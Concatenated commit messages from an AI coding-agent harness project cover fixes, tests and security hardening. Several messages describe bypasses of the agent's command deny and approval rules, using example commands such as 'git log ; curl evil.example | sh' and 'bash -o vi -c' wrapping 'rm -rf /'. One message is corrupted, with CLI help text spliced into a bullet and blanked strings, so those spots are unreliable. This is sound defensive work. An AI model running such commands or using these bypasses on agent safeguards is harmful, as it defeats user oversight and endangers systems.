one, removing the capability gate, swallowing attach errors, mislabelling JPEG
as PNG, and both directions of the Chat Completions parts-array promotion each
fail exactly the test that pins them.
Not verified: no live provider call was made, so this is unproven against a real
vision endpoint end to end. Tool-returned images are also still out of scope —
`ToolResult.content` is a `String` and every wire builder drops the unused
`content_blocks` side-channel, so the File tool's read action still returns OCR
text for an image rather than the image itself.
Written with assistance from Claude Code.
A regression review of the release diff flagged
tool_category_classifies_the_names_the_registry_actually_registers as
vacuous: it pinned hardcoded strings and never consulted anything the
product actually ships, so renaming a tool would leave it green while the
hook gate silently reclassified that tool as unrecognised.
The test now walks DEFAULT_ACTIVE_NATIVE_TOOLS -- the list the engine puts
on the wire -- against a table checked in both directions, so a rename fails
on the missing entry and a classifier change fails on the mismatched
category. tool_catalog goes pub(crate) to allow that.
Verified non-vacuous rather than assumed. My first attempt asserted against
"safe" on the theory that it was the classifier's fallback; the fallback is
actually "other", so that assertion could never fire. Renaming "Bash" to
"Bashh" in the catalog passed it. The committed version fails that same
mutation with the intended message, and passes on unmutated source.
clippy --all-targets: 0 warnings.
The workspace never declared [profile.dev], so it inherited debug = true and
paid full per-variable DWARF on every incremental build. Those links are
IO-bound, not CPU-bound, so the debuginfo was the cost.
Measured on this machine, touch crates/tui/src/main.rs then rebuild:
before 40.7s binary 227 MB
after 11.3s binary 218 MB
3.6x on the edit-compile loop, which is the loop anyone actually sits in.
Backtraces are unaffected in the way that matters: line-tables-only keeps
the file and line of every frame. Verified directly rather than assumed --
a panic under RUST_BACKTRACE=1 still resolves to `at ./src/main.rs:1:13`.
What is gone is per-variable DWARF, which nothing reads without a debugger
attached; anyone stepping under lldb can override the profile locally.
Release and dist profiles are untouched, so shipped binaries are unchanged.
Surfaced while measuring the test-binary consolidation idea (#5247): the
measurement found the debuginfo, not the binary count, was the dominant
term. This is the cheaper half of that finding.
The module header claimed its consumers "are wired in a separate pass;
nothing here calls into them," and carried a blanket `#![allow(dead_code)]`
to match. Both are false: ContextBudget is used by route_budget.rs and
core/engine/context.rs, and PressureLevel by context_report.rs.
That comment is the reason this file is on the do-not-delete list in
AGENTS.md. Successive dead-code audits read "not yet referenced" plus a
module-wide dead_code waiver and concluded the file could go; deleting it
broke the build. The guardrail treated the symptom. This removes the cause.
Dropping the blanket allow leaves exactly three genuinely-unused methods —
PressureLevel::suggests_compaction, ContextBudget::should_compact, and
fits_additional — so the waiver is now per-item and anything that goes dead
here surfaces as a warning instead of hiding behind it.
clippy --all-targets: 0 warnings. context_budget tests 24 green.
Found by an assessment agent while reviewing an unrelated blog post;
verified against the actual import sites before changing anything.
2026-08-04 audit. required_u64 reported a present-but-wrongly-typed value as
'missing required field', which sends the caller's retry in the wrong
direction — re-supplying a field it already supplied. required_str was fixed
for exactly this misdirection; this brings required_u64 in line, using the
same is_absent/type_mismatch helpers as optional_u64: absent or null is a
missing_field error, present-but-not-u64 names the field and the expected
type.
Two tests codified the old behaviour and are corrected: the required_u64 test
(renamed to say what it now pins) and helper_extractors_validate_shape, which
expected MissingField for a present string. Live callers (github/actions.rs
number, dev_server_readiness.rs port) only propagate or check is_err, so no
behavioural fallout.
Implemented by qwen3.8-max through CodeWhale as a dogfood exercise, then
verified independently: codewhale-tools 26+3 green, tui tools suite 1580
green, clippy --all-targets -Dwarnings clean. Authored with agent assistance
(Claude + qwen3.8-max).
GET /v1/providers, GET /v1/providers/{id}/models, and
POST /v1/providers/{id}/switch have shipped since 2026-07-20 (ebc567dec) and
were documented nowhere. The cost was concrete: a desktop integration probing
for model choice on 2026-08-04 tried /v1/models, /v1/runtime/models, and
/v1/runtime/providers, got 404s from all three, and filed 'no way to read the
catalog' and 'no way to know which model values are valid' as runtime gaps —
against a binary where the real route was already live. The API was fine; the
map was blank.
Documents the exact response shapes, the deepseek-cn alias rejection, that an
empty models array means 'not configured here' rather than 'no models', that
the returned ids are what POST /v1/threads accepts, and — most usefully — that
the switch route exists precisely so a GUI does not simulate a provider change
with repeated POST /v1/config writes plus a reload. Also records why there is
no credential-presence field yet and the one-request-per-provider workaround.
No code change. Authored with agent assistance (Claude).
Ten user-visible entries from today's bug hunts: the sandbox-honesty fix, the
inert tool_category deny gate, the Retry-After panic, the bearer-token leak,
the snapshot prune destroying the newest rollback points, two execpolicy deny
bypasses, the File/Bash wrong-type silent defaults, three panic/overflow
fixes, and the refusals naming retired tools. crates/tui/CHANGELOG.md
re-synced. Authored with agent assistance (Claude).
Found while assessing Cloudflare Sandboxes — the more urgent problem was
that CodeWhale already lies about the sandbox it has.
sandbox_policy_for_turn() takes no platform input: it is a pure function of
mode/approval/config/workspace, so it returns WorkspaceWrite or ReadOnly
regardless of whether a backend exists. select_sandbox() then silently
downgrades with .unwrap_or(SandboxType::None) — no warning, no event. On
DEFAULT Linux (prefer_bwrap is false at every call site) and on ALL Windows
(sandbox/windows.rs is_available() == false) there is zero OS enforcement,
while the header chip said 'files: workspace' and /status said 'Safety:
sandbox workspace-write, network on'.
App now resolves the real backend once at startup
(get_platform_sandbox_with_bwrap_preference, honoring config.prefer_bwrap) —
the same resolver doctor, init, and tools/diagnostics already use and get
right. Both surfaces consult it: the chip reads 'files: workspace
(unenforced)' and /status reads 'no OS sandbox on this platform
(workspace-write requested, not enforced)'. DangerFullAccess was already
honest and is untouched; ExternalSandbox is enforced by the external runner
so it keeps its label.
NOT changed here, deliberately: the model-facing posture_label in
<turn_meta>. Its WorkspaceWrite text has the same gap, but that string feeds
the per-turn prompt and is byte-stable by design for KV prefix caching, so
it needs a cache-impact pass rather than an inline edit. Recorded in the
2026-08-04 deferred-findings note. Plan mode's model-facing 'shell writes
are blocked' remains TRUE regardless of backend — it is enforced in-harness
by ShellPolicy::None, not by the OS sandbox.
Verified: underwater 36 green, config::status 6 green, tui builds clean,
clippy --all-targets -Dwarnings clean. Authored with agent assistance
(Claude).
2026-08-04 model-facing-text audit. Four user-facing claims contradicted the
code, three of them in the direction that costs the user:
- CONFIGURATION.md said max_subagents 'defaults to 20 and is clamped to
1..=20' in four places. Code: DEFAULT_MAX_SUBAGENTS = 64, MAX_SUBAGENTS =
128 (config/subagent_limits.rs:13,17). Out-of-box concurrency is 3.2x the
documented figure, and a user writing max_subagents = 40 to 'raise it to
the max' was told it would clamp to 20 when it is honored in full. Same
shape for max_admitted: documented ceiling 200, actual
MAX_SUBAGENT_ADMISSION = 1024.
- Usage: codewhale [OPTIONS] [PROMPT]
codewhale [OPTIONS] <COMMAND> [ARGS]
Commands:
run Run interactive/non-interactive flows via the TUI binary
doctor Run Codewhale diagnostics
models List live provider API models via the TUI binary
speech Generate speech audio with Xiaomi MiMo TTS models via the TUI binary [aliases: tts]
sessions List saved TUI sessions
resume Resume a saved TUI session
rc Launch an interactive session and hand it to the Codewhale web app
fork Fork a saved TUI session
init Create a default AGENTS.md in the current directory
setup Bootstrap MCP config and/or skills directories
remote-setup Generate a remote Codewhale agent deploy bundle (cloud + chat bridge)
exec Run a non-interactive prompt through the TUI runtime
fleet Manage durable Agent Fleet runs via the TUI runtime
workflow Run checked-in Workflows through a Lane Runtime backend
lane Manage running workflow instances (Lanes) and Runtime backends (#4176)
review Run a Codewhale-powered code review over a git diff
apply Apply a patch file or stdin to the working tree
eval Run the offline TUI evaluation harness
mcp Manage TUI MCP servers
features Inspect TUI feature flags
serve Run a local TUI server
web Open the first-class local browser client over the canonical Runtime API
completions Generate shell completions for the TUI binary
login Configure provider credentials
logout Remove saved authentication state
auth Manage authentication credentials and provider mode
account Sign in to your Codewhale account and manage account-scoped provider keys [aliases: cloud]
mcp-server Run MCP server mode over stdio
config Read/write/list config values
model Resolve or list available models across providers
thread Manage thread/session metadata and resume/fork flows
sandbox Evaluate sandbox/approval policy decisions
app-server Run the canonical runtime API / control plane (HTTP/SSE, mobile, stdio)
completion Generate shell completions
metrics Print a usage rollup from the audit log and session store
update Check for and apply updates to the `codewhale` binary
help Print this message or the help of the given subcommand(s)
Arguments:
[PROMPT]...
Options:
--config <CONFIG>
--profile <PROFILE>
--provider <PROVIDER>
Provider selector; exec/fleet also accept configured custom provider identifiers
--model <MODEL>
--output-mode <OUTPUT_MODE>
--verbosity <LEVEL>
Controls transcript and output verbosity (normal, concise)
--log-level <LOG_LEVEL>
--telemetry <BOOL>
Opt in to anonymous product telemetry for this run (default off; CODEWHALE_TELEMETRY=0 always wins) [possible values: true, false]
--approval-policy <APPROVAL_POLICY>
--sandbox-mode <SANDBOX_MODE>
--api-key <API_KEY>
--base-url <BASE_URL>
-C, --workspace <DIR>
Workspace directory for TUI file tools
--mouse-capture
--no-mouse-capture
--skip-onboarding
--no-project-config
Skip loading project-level config, including the workspace-specific `[workspace]`/`[projects]` overlay from user config. Must appear before the subcommand; it is forwarded to the TUI ahead of the subcommand
-c, --continue
Continue the most recent interactive session for this workspace
-p, --prompt <PROMPT>
-h, --help
Print help
-V, --version
Print version said '(1-20)' while main.rs clamps to 128. Here the doc
was right and the help was wrong; both now say 1-128, default 64.
- MODES.md gave bare as the enable command. config.rs:2278 maps
"" | "status" | "list" to trust_status — bare /trust only REPORTS. A user
reads the status block, believes trust is on, and escalates to Full Access
when the next out-of-workspace operation fails. Now documents /trust on
and says plainly that bare /trust does not enable anything.
- CONFIGURATION.md gave as the Ollama default; the
string appears nowhere in crates/. provider_defaults.rs:109 is
deepseek-v4-flash. Self-hosted is where a bad default bites hardest.
Verified: limits read from config/subagent_limits.rs, /trust dispatch read
from config.rs:2278, Ollama default from provider_defaults.rs:109; tui
builds clean. Authored with agent assistance (Claude).
2026-08-04 model-facing-text audit. Three refusal paths pointed the model at
tools or actions that do not exist, so the one part of the message it must
get right to recover was the wrong part:
- rlm returned a machine-readable "open_with": {"tool": "rlm_open"} pointer
and refused unknown contexts with 'call rlm_open first' / 'pass its name to
rlm_eval'. The registry asserts rlm_open is NOT registered and resolve()
has no fuzzy step by design, so those calls could only ever fail. Now they
name the registered tool and its action (rlm action='open' / 'eval'), and
the error metadata reports tool=rlm action=eval rather than a retired
rlm_eval.
- The sub-agent interactive-shell guard said 'cannot use exec_shell with
interactive=true … use non-interactive exec_shell'. exec_shell was retired
in 0.9.4; the guard actually fires on Bash. Its test pinned the retired
spelling, so it kept the lie green — the test now asserts the live name AND
that the retired one is absent.
- Read-only File refused action="patch" by recommending action="edit" or
action="write", which the same surface refuses one branch earlier, while
interpolating an available-actions list that excludes both. It now states
the edit/write distinction as information about other modes instead of
recommending an immediate retry that cannot work.
Verified: subagent 404 green, file_tool 28 green, rlm 78 green; clippy
--all-targets -Dwarnings clean. Authored with agent assistance (Claude).
2026-08-04 slop audit. Three functions named truncate_to_width had drifted:
localization.rs is grapheme-cluster and display-width aware (with ~200 lines
of tests about Devanagari conjuncts, combining marks, and ZWJ emoji);
decision_card.rs counted CHARS, not display columns; phase_strip.rs was
width-aware but split graphemes and emitted dots instead of an ellipsis
below width 4.
The char-counting copy is a live rendering bug: at width 7 it keeps 6 chars
of a CJK question, which render as 12 columns and overflow the card's own
border. Both local copies are deleted in favour of the canonical one, so the
CJK/grapheme fixes that were only ever applied in localization.rs now hold
everywhere.
Verified: new wide_text_never_exceeds_the_card_width covers CJK, ASCII, and
mixed strings across widths 1..20; phase_strip 8 green, decision_card
callers unchanged; clippy --all-targets -Dwarnings clean. Authored with
agent assistance (Claude).
2026-08-04 slop audit. Four reject_metachar_* tests asserted only that their
own input string contained the metacharacter — e.g. parse a command with a
pipe, then assert the parsed args contain a pipe. None called the defense.
Deleting the guard entirely left all four green, so the injection protection
on runtime MCP server arguments had zero real coverage.
Extracted the check from the middle of execute() into
reject_shell_metacharacters so it is reachable, and replaced the four fake
tests with two that call it: one asserting every metacharacter class
(> | ; & backtick $) is refused with a reason-naming message, one asserting
an ordinary npx invocation still passes. Behavior is unchanged — same
characters, same error text.
Verified: runtime_mcp 38 green; clippy --all-targets -Dwarnings clean.
Authored with agent assistance (Claude).
2026-08-04 slop audit, credential leak. Every operator-visible ControlReceipt
string goes through sanitize_line, whose docstring promises 'a bearer token
cannot leak into a transcript, a --json payload, or a shared screenshot'.
It could:
- 'Authorization: Bearer <jwt>' splits into whitespace tokens. The bare
'Bearer' token failed the value-prefix guard because len() > prefix.len()
is false when the token IS the prefix, and the JWT after it matched no
prefix and no key=value hint — so the credential printed in full.
- Value-prefix matching was case-sensitive, so a provider spelling its key
'SK-live-...' leaked while 'sk-live-...' was caught.
Scheme words (bearer/basic/token/apikey, punctuation-tolerant, case
-insensitive) now arm redaction of the FOLLOWING token, and prefix matching
is case-insensitive. Prose is unaffected: only a bare scheme word arms it,
so 'the bearer of this token is unknown' survives intact.
Verified: new bearer_and_case_variant_secrets_do_not_survive_sanitization
covers the JWT, lowercase and punctuated scheme words, three case variants of
prefixed keys, and the over-redaction guard; codewhale-lane 61 green; clippy
--all-targets -Dwarnings clean. Authored with agent assistance (Claude).
2026-08-04 model-facing-text audit, highest-severity finding. The
tool_category condition mapped exec_shell/write_file/read_file — names the
registry has not registered since the 0.9.4 tool consolidation. The hook
context carries the model's real spelling (Bash, File, Git, Run), so EVERY
live call classified as "other" and a hook written from docs/HOOKS.md with
condition = { type = "tool_category", category = "shell" } and action deny
silently did nothing. docs/HOOKS.md itself names this as the dangerous
failure mode: 'a deny gate the operator believes is armed'.
Classification now uses the registered names, and because File/Git/Run are
multi-action it reads the action out of tool_args: a File read is safe, a
File write/edit/patch is file_write, Run is shell (it executes commands).
An absent or unparseable argument blob classifies as the tool's most
dangerous action — a gate that cannot see the action must not assume the
harmless one. exec_shell stays mapped because shell.rs still stamps that
name for the shell_env event specifically.
Verified: new tool_category_classifies_the_names_the_registry_actually_registers
covers every branch incl. the unparseable-args case; hooks suite 105 green;
clippy --all-targets -Dwarnings clean. Authored with agent assistance
(Claude).
The new prune_older_than regression test passed in isolation but failed once
under 'cargo test --workspace', where parallel load can stretch a sleep past
the wall-clock cut and push a 'new' snapshot over the cutoff. Widened the
gap to 8s against a 6s cut with no trailing sleep (~5s slack in both
directions) and added a fixture-age precondition so a skewed run reports
'fixture ages unusable' instead of a confusing count mismatch. The behavior
under test is unchanged.
Verified: snapshot::repo 30 green. Authored with agent assistance (Claude).
2026-08-04 bug hunt. The round-1 strictness fix covered Bash run but not
interact, which still used the raw and_then(as_str).unwrap_or("") pattern:
a non-string stdin was silently dropped and the call reported success while
writing nothing to the child process. Its alias precedence was also inverted
relative to run (input-first vs stdin-first), so the two actions could read
different fields from the same payload. Both now go through the shared
first_present_field + type_mismatch path, stdin first, with null still
meaning absence.
Verified: tools::shell 81 green; clippy --all-targets -Dwarnings clean.
Authored with agent assistance (Claude).
2026-08-04 security bug hunt, confirmed. The trusted-prefix path guards with
command_is_chained (#security: an allow prefix must not sweep `git log ; rm
-rf /` into trusted), but the typed-Allow ask-rule arm returned Skip with no
such guard — and config pushes command allow rules into BOTH lanes, so the
unguarded one was reached first and won. An `allow "git log"` rule silently
auto-approved `git log ; curl evil.example | sh`. Chained commands now fall
through to the normal ask/mode gate, where the segment-aware deny scan has
already had its say.
Residual hole recorded, not closed: command_is_chained splits only on
;/&&/||/|/&, so a command SUBSTITUTION — `git log` followed by a
dollar-paren body — is one segment and still auto-approves. Closing it would
also stop a benign `echo "built at <dollar-paren date>"` being trusted, a
contract shell_metacharacters_in_harmless_positions_stay_allowed pins
deliberately, so it trades approval-prompt frequency for that safety and is
a product decision for the owner. Documented in the test body and the
2026-08-04 deferred-findings note. The deny scan already covers substitution
bodies, so a denied command inside a substitution is blocked today.
(Dollar-paren spelled out in prose above on purpose: writing the literal
form in a commit message is how the previous attempt at this message got its
own examples executed by the shell and substituted into the commit.)
Verified: new typed_allow_rule_does_not_auto_approve_a_chained_suffix (bare
allowed command still skips approval; the ;/&&/| suffixes no longer do);
codewhale-execpolicy 108 green, tui execpolicy 13 green, clippy
--all-targets -Dwarnings clean. Authored with agent assistance (Claude).
2026-08-04 security bug hunt, confirmed. denied_prefix_matches compared the
command word verbatim, so a 'rm -rf /' deny rule did not match '/bin/rm -rf /',
'./rm', or '../bin/rm'. Under AskForApproval::Never the deny rules are the
only barrier, and the test that asserts completeness
(denied_prefix_survives_every_shell_spelling_of_the_command) never covered
the most obvious spelling of all — a path.
The fix folds the BASENAME at the command-word anchor only (rule token 0),
in one direction: a bare rule word matches a path spelling of that command,
while a rule that spells a path still requires that path, because the rule
author asked for it specifically. Both separators are honored so a Windows
spelling cannot slip past. Argument positions keep exact matching, so the
fold cannot leak into operands.
Verified both directions: six path spellings added to the completeness
table (absolute, /usr/bin, ./, ../, behind sudo, in a chain) and four
non-over-blocking cases added to the over-denial guard (a denied name as a
path ARGUMENT, as a file operand, a basename superstring '/bin/rmdir', and
a suffixed './rm-helper'). codewhale-execpolicy 107 green, tui execpolicy
rules 13 green, clippy -Dwarnings clean. Authored with agent assistance
(Claude).
Two isolated 2026-08-04 bug-hunt findings:
- A sub-agent objective containing newlines broke the one-line work-bar row
(the goal-title path already flattened newlines; the objective path did
not). summarize_assignment now flattens \n/\r like the goal path.
- route_discriminator compared a char count (consumed) against a byte length
(display_key.len()), so a non-ASCII provider display name over-consumed and
dropped the endpoint tail. Now compares against the char count.
Verified: new route_discriminator_handles_ascii_and_non_ascii_display_names;
work_surface suite green. Authored with agent assistance (Claude).
2026-08-04 bug hunt. The canonical provider ids are kebab everywhere users
see them (provider display names, secret-store keys, docs), but the TOML
fields nvidia_nim / wanjie_ark carried no aliases and xiaomi_mimo lacked
the kebab form — so a [providers.nvidia-nim] section parsed into nothing
and the user's model/base_url/auth override was silently dropped. Added the
kebab canonical id plus the short aliases provider.rs already recognizes,
matching the existing deepseek_anthropic pattern.
Verified: new multiword_provider_sections_accept_the_kebab_canonical_id
(kebab sections now populate the fields); full codewhale-config suite green.
Finding by the adversarial bug-hunt agent, verified against provider.rs.
Authored with agent assistance (Claude).
2026-08-04 session-persistence bug hunt, empirically reproduced. When the
age cut fell mid-history, prune_older_than did
'update-ref HEAD <oldest survivor>'. But snapshots are a parent-linked
commit chain with the newest at HEAD, so that pointed HEAD at the oldest
survivor: every NEWER snapshot became unreachable (gc destroyed it) while
the snapshots meant to be REMOVED survived as its ancestors — the exact
inverse of the intent. This ran on every boot
(main.rs -> prune_workspace_snapshots -> prune_older_than(7 days)), so any
workspace with snapshots spanning >7 days silently lost all but the oldest
of its recent rollback checkpoints at session start.
Both prune paths now share one rebuild_survivor_chain helper (the correct
orphan-commit-chain technique prune_keep_last_n already used), and the
rebuild pins each survivor's author/committer date to its real timestamp,
so ages no longer reset to 'now' after a prune (a second, lower-severity
finding in the same report).
Verified: new prune_older_than_keeps_the_newest_and_drops_only_the_old_tail
(partial cut: old tail removed, newest survive and restore correctly — the
branch no test covered before); full snapshot::repo suite 30 green; clippy
--all-targets -Dwarnings clean. Finding by the session-persistence agent,
reproduced in a scratch repo. Authored with agent assistance (Claude).
2026-08-04 bug hunt (compaction/session/streaming sweep + adversarial pass).
- context_inspector::short_tool_id sliced a tool id with &id[..8] — a byte
index that panics when it lands mid-codepoint. A gateway-supplied
multibyte tool id would crash the context inspector render. Now truncates
by char boundary.
- route::resolver::is_loopback_host classified any host that started with
'127.' and had four dot-parts as loopback, so 127.evil.example.com was
treated as local-trusted — and endpoint_uses_insecure_http then EXEMPTED
an http:// endpoint pointing at that real remote host from its
plaintext-credentials warning (#1519). Now parses the octets via
Ipv4Addr/Ipv6Addr::is_loopback, which is exactly 127.0.0.0/8 and ::1.
Verified: short_tool_id_never_panics_on_multibyte; new loopback tests
(hostile 127.* lookalike rejected, real loopback still exempt);
codewhale-config route suite green. Findings by the bug-hunt agents,
verified against source. Authored with agent assistance (Claude).
2026-08-04 streaming bug hunt. parse_retry_after tried u64 then f64 and fed
the f64 straight to Duration::from_secs_f64, which PANICS on a negative —
so a provider or proxy returning 'Retry-After: -5' (or nan/inf/1e300) on a
429/5xx crashed the request task and wedged the session. Empirically
reproduced. The float path now requires finite && >= 0 and clamps to a
1-hour ceiling before from_secs_f64; the integer path clamps too, so a
hostile 'Retry-After: 86400' no longer sleeps the turn for a day. A
legitimate '1.5' keeps its sub-second precision.
Verified: new parse_retry_after_never_panics_and_is_bounded_on_hostile_input
covers negative/nan/inf/1e300/86400/overflow; existing test still green.
Finding by the streaming bug-hunt agent, panic reproduced. Authored with
agent assistance (Claude).
Two workspace-suite tests depended on the ambient build's version string,
which #5245 made environment-dependent (a local build now reports
'0.9.4 (dev)' where it used to carry a 12-char git sha; CI/release still
carry a sha):
- underwater header width choreography: the Wide-tier token-chip breakpoints
were calibrated to a sha-length version stamp. A new #[cfg(test)] seam
(shell_build_version + a thread-local BuildVersionGuard) pins the stamp to
a fixed sha-width value so the test measures layout, not the ambient sha
length. The three production render sites route through the seam;
behaviour is unchanged off-test.
- runtime_info build-commit contract: an unstamped local build honestly
reports codewhale_commit="unknown" instead of a 40-hex sha. The test now
accepts "unknown" OR a full sha — a fabricated sha would be the bug.
Verified both tests pass under an unstamped build AND a stamped one
(DEEPSEEK_BUILD_SHA=<40-hex>); underwater::tests 36 green; clippy
--all-targets -Dwarnings clean. This is the last fallout from the #5245
stamp decoupling. Authored with agent assistance (Claude).
cargo fmt reflow of the new chat.rs and shell tests plus clippy's
manual_div_ceil on the read-truncation hint arithmetic (same values for
every window size; the hint for a 40-line window is still max_lines=20).
Verified: tools::file, tools::shell, client::chat suites green; clippy
--all-targets -Dwarnings clean. Authored with agent assistance (Claude).
2026-08-04 pre-release bug hunt. shell_c_argument stopped its flag scan at
the first non-flag token so a -c-less invocation's script path was not
misread as a command line — but the same rule meant `bash -o vi -c 'rm
-rf /'` ended the scan at `vi` (the argument of -o) and the payload was
never expanded, walking straight past every deny rule. This is a false
NEGATIVE in the mechanism whose own header says under-emitting is a bypass.
The scan now continues past non-flag operands until it finds -c/--command.
That can over-read a -c that is really an argument to a script
(bash script.sh -c x), which over-emits an extra scan target — explicitly
safe by this expander's contract, where only under-emission is a defect.
Verified: codewhale-execpolicy 107 green including the new
`bash -o vi -c` and `zsh --norcs -c` pins in
wrappers_and_payloads_are_unwrapped; tui execpolicy rules suite green;
wrapper_head_scan_stops_at_a_real_command still holds (printing commands'
arguments are not parsed as code). Finding by the tool-hardening bug-hunt
agent, verified by trace. Authored with agent assistance (Claude).
2026-08-04 pre-release bug hunt, provider lane. The reasoning-control host
verifier accepted only the Token Plan maas.aliyuncs.com hosts and the
Coding Plan coding-intl host, so a user pointing a Model Studio identity at
Alibaba's classic pay-as-you-go endpoints
(dashscope.aliyuncs.com/compatible-mode/v1 and the intl spelling the repo's
own provider defaults use) had every reasoning control silently stripped —
fail-closed feature loss on a genuine Alibaba Chat Completions host, not a
dialect leak. Exact host equality keeps lookalike domains unverified.
Also re-checked and REJECTED a companion finding: the Messages dialect
deliberately sends {"type":"disabled"} to thinking-only qwen3.8-max —
Alibaba's anthropic-api-messages doc supports the portable disable shape
there, unlike the chat dialect's enable_thinking switch; the code comment
now records the re-check so the next reviewer doesn't re-derive the false
alarm.
Verified: client::chat 87 green (new classic-host acceptance + lookalike
rejection test), client::anthropic 21 green. Finding by the provider
bug-hunt agent, host spellings verified against provider_defaults. Authored
with agent assistance (Claude).
2026-08-04 pre-release bug hunt, tool-hardening lane. The 0.9.4 strictness
train closed the misspelled-name routes to silent wrong answers but left
the wrong-TYPE routes open on exactly the fields models get wrong:
- File read: start_line:"1200" (string), negatives, and floats silently
fell back to the defaults and returned lines 1-500 — the head of the
file shaped like the window the model asked for, the failure the action's
own doc comment says it exists to prevent. Both range params now go
through the shared optional_u64 contract (wrong type = named error;
null = absence).
- Bash: a non-string stdin/input/data was silently dropped — the command
ran with NO stdin and reported success; a non-string cwd silently ran in
the workspace default; a numeric task_id was reported as 'missing
required field', steering the retry the wrong way. All three now refuse
with the field name and expected type (first_present_field treats null
as absence, matching the shared helpers).
- File read byte-truncation note: the response promised next_start_line on
every truncated="true" but byte-only truncation never attaches it, and
for a single line over 16KB the old advice ('smaller max_lines') was
impossible — no line window can reveal the middle of one line. The
description now says when next_start_line appears; the multi-line note
names a concrete narrower window; the single-line note names the escape
hatches that actually work (search_content, Bash cut -c).
Verified: tools::file 116 green (new refuses-wrong-types test; updated
byte-truncation pin), tools::shell 81 green (new
wrongly_typed_stdin_cwd_and_task_id_are_refused_not_dropped). Findings by
the tool-hardening bug-hunt agent, each verified against source. Authored
with agent assistance (Claude).
1. Coordination lock: clear the pid stamp while still holding the flock,
so a stale pid never outlives its holder's tenure. A reader racing the
next winner's stamp now sees an empty file and classifies the loss as a
foreign process — which WARNS. When misclassification is possible at
all it must fall on the side that tells the user, never the side that
suppresses the warning.
2. Work-bar live heading: once the recent-only TTL suppresses transient
receipts, the live heading counts only the recent rows the live list
still shows. Quoting the unfiltered total claimed receipts the reader
could not see (visible since the durable-row exemption keeps the strip
alive where it used to collapse). The catalog heading keeps the full
count because the catalog keeps the full rows.
Verified: new test suppressed_transients_leave_the_live_heading_count_honest
pins heading + catalog counts; coordination_lock_loss_to_own_process test
still green. Findings by adversarial review agent, verified against source.
Authored with agent assistance (Claude).
Closes#5246 groundwork (issue stays open until release CI runs the dist
profile). [profile.release] was tuned for shipping (fat LTO,
codegen-units=1, strip) while AGENTS.md prescribes cargo build --release as
the routine pre-push gate — so every contributor paid the full fat-LTO
pipeline on a 680k-line crate for a smoke build (8-16 min community-reported
in #4991; 13m57s measured here).
Now [profile.dist] (inherits release; lto=true, codegen-units=1,
strip=true) carries today's exact shipping optimization, and
[profile.release] relaxes to lto="thin", codegen-units=16 for the local
gate — same command, same artifacts collected by nothing. The
panic-unwinding note moves with the dist profile; neither profile sets
panic=abort (the TUI's panic supervision needs unwinding).
Workflow audit: release-artifacts.yml (the only workflow uploading
user-facing binaries) builds with --profile dist and stages from
target/<triple>/dist on both build paths. nightly.yml deliberately stays on
--release: it has always overridden LTO off (CARGO_PROFILE_RELEASE_LTO=off,
codegen-units 16) for fast prerelease builds and its build/collect paths
are internally consistent. ci.yml's release-build gate stays --release and
gets the same speedup. scripts/release/prepare-local-release-assets.js
defaults to target/release but is the local npm-wrapper smoke flow with an
explicit dir argument, not a publish path.
Measured on the 14-core M-series dev machine, warm cache, one touched file
(crates/tui/src/elapsed.rs): --release rebuild 13m57s before -> 2m16s
after (real 136.67s). cargo build --profile dist compiles with the
inherited fat-LTO settings. Authored with agent assistance (Claude); spec
by the owner's build-time lane (#5246/#5249).
Closes#5245 groundwork (issue stays open until the acceptance run is on
CI). Every local git commit invalidated codewhale-tui (620 files) and
codewhale-cli because their build scripts watched .git/HEAD and the branch
ref to keep the --version sha fresh — a ~14-minute fat-LTO rebuild per
commit with zero code changes.
The stamp is now environment-only: DEEPSEEK_BUILD_SHA (wins) or GITHUB_SHA
suffix the version and set CODEWHALE_BUILD_COMMIT; build scripts declare
only rerun-if-env-changed for those two variables and never touch .git. An
unstamped local build renders '0.9.4 (dev)'. Runtime git resolution was
rejected deliberately: the binary runs inside users' repositories, and a
stale binary reporting the checkout's current HEAD would break the
dogfood-receipt identity install-dogfood.sh verifies — the module doc
records this reasoning. CI is byte-identical (GITHUB_SHA was already set);
install-dogfood.sh now prints the stamped build command in both of its
refusal paths. declare_git_head_rerun and the git fallback are deleted;
CODEWHALE_RELEASE_BUILD_SHA semantics are untouched.
Verified: cargo test -p codewhale-build-support green (new env-only
contract test); cargo build -p codewhale-tui -p codewhale-cli, then
git commit --allow-empty + rebuild -> zero 'Compiling codewhale' lines,
Finished in 0.17s. All CODEWHALE_BUILD_COMMIT consumers already use
option_env!. Authored with agent assistance (Claude); spec by the owner's
build-time lane (#5245/#5249).
Second half of 7e73d34dad: gating install_recording_gh made its
PathBuf import unused on Windows, and -D unused-imports failed the build the
same way -D dead-code did. The import is now cfg(all(test, unix)) to match
the helper. Audited the rest of the tests module: the serde_json::json
import is consumed by ungated tests and both recorder consumers were already
cfg(unix), and CI's incremental lint pattern (two dead-code errors, then
exactly one new unused-import error) says rustc has nothing further to
report in this crate on Windows. Local cross-check via
cargo check --target x86_64-pc-windows-msvc is not available here (ring's
build script needs a Windows C toolchain), so the green proof is this push's
CI matrix.
The source-structure aggregate follows the +8 lines (661716 -> 661724) in
the same commit so the gate and the code move together this time.
Verified: tools::github tests green, clippy --all-targets -Dwarnings clean,
source-structure gate PASS locally. Authored with agent assistance
(Claude).
Root cause of the unexplained red Test (windows-latest) on #5135, present
since before the strip: install_recording_gh and close_input_with_dry_run
in crates/tui/src/tools/github/mod.rs are consumed only by #[cfg(unix)]
tests (the recorder is a sh script), but the helpers themselves were
ungated. On Windows they compile as dead code and -D warnings fails the
whole test-binary build — which is why the job's visible log tail showed
passing suites with no failing test: the binary never built. Gating both
helpers #[cfg(unix)] matches their consumers.
Verified: tools::github tests green on macOS, clippy --all-targets
-Dwarnings clean. Windows proof is the CI matrix on this push. Authored
with agent assistance (Claude).
agents/followup now resumes an interrupted_continuable child from its
durable checkpoint instead of queueing a dead-letter: the fresh agent
loop is seeded with the original prompt plus the checkpoint message
tail and the follow-up text, running under a new agent id while the
prior terminal record stays immutable.
Manager seam (resume_from_checkpoint):
- Re-dispatch via spawn_background_with_assignment_options with the
original agent_type/assignment/allowed_tools/model restored
- Idempotency map (resume_targets): a repeated followup returns the
existing resumed target and forwards the message to it
- Child runtime derived via background_runtime() (depth +1, detached
cancellation), depth ceiling checked before derivation like a fresh
spawn
- Workspace restored to the interrupted child's directory
- Write claim restored from the coordination ledger (pre-namespaced,
isolation flag preserved); runtime posture (read_only/denied tools/
shell) preserved from the worker record instead of rebuilt from the
caller's role
Tool layer (AgentsFollowupTool): optional SubAgentRuntime via
with_runtime; execute routes interrupted_continuable children with a
runtime attached to the resume path, keeping queue-only semantics
otherwise. Both registration points (AgentTool followup action and
register_coordination_tools) attach the runtime.
